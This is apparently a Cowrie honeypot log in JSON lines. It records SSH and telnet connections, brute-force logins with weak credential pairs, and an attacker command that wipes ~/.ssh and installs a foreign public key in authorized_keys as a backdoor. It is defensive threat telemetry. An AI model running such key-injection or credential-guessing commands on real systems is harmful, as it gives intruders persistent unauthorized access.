{"eventid":"cowrie.session.connect","src_ip":"144.202.74.27","src_port":39978,"dst_ip":"10.17.0.5","dst_port":23,"session":"2ad96005f4b2","protocol":"telnet","message":"New connection: 144.202.74.27:39978 (10.17.0.5:23) [session: 2ad96005f4b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:25.198345Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.127","src_port":40588,"dst_ip":"159.203.135.109","dst_port":22,"session":"7548251b2519","protocol":"ssh","message":"New connection: 101.36.124.127:40588 (159.203.135.109:22) [session: 7548251b2519]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:25.636721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:25.640739Z","src_ip":"101.36.124.127","session":"7548251b2519","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:25.852188Z","src_ip":"101.36.124.127","session":"7548251b2519","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"qweasd","message":"login attempt [oracle/qweasd] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:26.728292Z","src_ip":"101.36.124.127","session":"7548251b2519","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.202.74.27","src_port":40406,"dst_ip":"10.17.0.5","dst_port":23,"session":"d0f57ed0413d","protocol":"telnet","message":"New connection: 144.202.74.27:40406 (10.17.0.5:23) [session: d0f57ed0413d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:27.147861Z"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:27.189700Z","src_ip":"101.36.124.127","session":"7548251b2519","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:27.192839Z","src_ip":"101.36.124.127","session":"7548251b2519","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:27.196687Z","src_ip":"101.36.124.127","session":"7548251b2519","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:27.410913Z","src_ip":"101.36.124.127","session":"7548251b2519","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:27.870357Z","src_ip":"101.36.124.127","session":"7548251b2519","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:27.873938Z","src_ip":"101.36.124.127","session":"7548251b2519","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:28.087855Z","src_ip":"101.36.124.127","session":"7548251b2519","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:28.092446Z","src_ip":"101.36.124.127","session":"7548251b2519","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.127","src_port":58664,"dst_ip":"159.203.135.109","dst_port":22,"session":"bb4e29665dce","protocol":"ssh","message":"New connection: 101.36.124.127:58664 (159.203.135.109:22) [session: bb4e29665dce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:28.305758Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:28.311334Z","src_ip":"101.36.124.127","session":"bb4e29665dce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:28.528275Z","src_ip":"101.36.124.127","session":"bb4e29665dce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:29.425886Z","src_ip":"101.36.124.127","session":"bb4e29665dce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.202.74.27","src_port":40964,"dst_ip":"10.17.0.5","dst_port":23,"session":"e594e620d95f","protocol":"telnet","message":"New connection: 144.202.74.27:40964 (10.17.0.5:23) [session: e594e620d95f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:30.106296Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:30.645082Z","src_ip":"101.36.124.127","session":"bb4e29665dce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.124.127","src_port":58666,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdf52c1b0b2d","protocol":"ssh","message":"New connection: 101.36.124.127:58666 (159.203.135.109:22) [session: fdf52c1b0b2d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:30.856721Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:30.861414Z","src_ip":"101.36.124.127","session":"fdf52c1b0b2d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:31.078820Z","src_ip":"101.36.124.127","session":"fdf52c1b0b2d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:31.979329Z","src_ip":"101.36.124.127","session":"fdf52c1b0b2d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:32.196995Z","src_ip":"101.36.124.127","session":"7548251b2519","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:32.202720Z","src_ip":"101.36.124.127","session":"fdf52c1b0b2d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.202.74.27","src_port":41664,"dst_ip":"10.17.0.5","dst_port":23,"session":"1f57ce0e8b5d","protocol":"telnet","message":"New connection: 144.202.74.27:41664 (10.17.0.5:23) [session: 1f57ce0e8b5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:33.801723Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.202.74.27","src_port":41682,"dst_ip":"10.17.0.5","dst_port":23,"session":"173a17ab95b2","protocol":"telnet","message":"New connection: 144.202.74.27:41682 (10.17.0.5:23) [session: 173a17ab95b2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:34.067925Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.202.74.27","src_port":41726,"dst_ip":"10.17.0.5","dst_port":23,"session":"991a083e3043","protocol":"telnet","message":"New connection: 144.202.74.27:41726 (10.17.0.5:23) [session: 991a083e3043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:34.215052Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.202.74.27","src_port":42460,"dst_ip":"10.17.0.5","dst_port":23,"session":"c303c1fb40df","protocol":"telnet","message":"New connection: 144.202.74.27:42460 (10.17.0.5:23) [session: c303c1fb40df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:39.141623Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.202.74.27","src_port":42468,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cd33dbab5fa","protocol":"telnet","message":"New connection: 144.202.74.27:42468 (10.17.0.5:23) [session: 7cd33dbab5fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:39.157815Z"}
{"eventid":"cowrie.session.connect","src_ip":"144.202.74.27","src_port":43094,"dst_ip":"10.17.0.5","dst_port":23,"session":"2144aa469bdb","protocol":"telnet","message":"New connection: 144.202.74.27:43094 (10.17.0.5:23) [session: 2144aa469bdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:43.146504Z"}
{"eventid":"cowrie.session.closed","duration":30.929978609085083,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:46.034643Z","src_ip":"144.202.74.27","session":"b074a8163630","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.202.74.27","src_port":43614,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdcdb668846e","protocol":"telnet","message":"New connection: 144.202.74.27:43614 (10.17.0.5:23) [session: fdcdb668846e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:47.574044Z"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":39386,"dst_ip":"10.17.0.5","dst_port":22,"session":"9f2dff44b439","protocol":"ssh","message":"New connection: 87.251.64.176:39386 (10.17.0.5:22) [session: 9f2dff44b439]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:56.188872Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:56.193770Z","src_ip":"87.251.64.176","session":"9f2dff44b439","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.06247568130493,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:56.260684Z","src_ip":"144.202.74.27","session":"2ad96005f4b2","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:56.289629Z","src_ip":"87.251.64.176","session":"9f2dff44b439","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:56.578835Z","src_ip":"87.251.64.176","session":"9f2dff44b439","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:56.682334Z","session":"9f2dff44b439","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:56.779788Z","src_ip":"87.251.64.176","session":"9f2dff44b439","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:56.879069Z","src_ip":"87.251.64.176","session":"9f2dff44b439","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.88491678237915,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:52:58.032673Z","src_ip":"144.202.74.27","session":"d0f57ed0413d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.94355273246765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:53:01.049709Z","src_ip":"144.202.74.27","session":"e594e620d95f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.27955985069275,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:53:04.081159Z","src_ip":"144.202.74.27","session":"1f57ce0e8b5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"144.202.74.27","src_port":45364,"dst_ip":"10.17.0.5","dst_port":23,"session":"202f87167b96","protocol":"telnet","message":"New connection: 144.202.74.27:45364 (10.17.0.5:23) [session: 202f87167b96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:53:04.167100Z"}
{"eventid":"cowrie.session.closed","duration":30.89443850517273,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:53:05.109389Z","src_ip":"144.202.74.27","session":"991a083e3043","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16028928756714,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:53:05.228119Z","src_ip":"144.202.74.27","session":"173a17ab95b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.913726806640625,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:53:10.055338Z","src_ip":"144.202.74.27","session":"c303c1fb40df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.954513788223267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:53:10.112222Z","src_ip":"144.202.74.27","session":"7cd33dbab5fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.378836393356323,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:53:14.525228Z","src_ip":"144.202.74.27","session":"2144aa469bdb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"96.70.252.227","src_port":46616,"dst_ip":"159.203.135.109","dst_port":22,"session":"3372c6460cfe","protocol":"ssh","message":"New connection: 96.70.252.227:46616 (159.203.135.109:22) [session: 3372c6460cfe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:53:15.837343Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T05:53:15.854926Z","src_ip":"96.70.252.227","session":"3372c6460cfe","protocol":"ssh"}
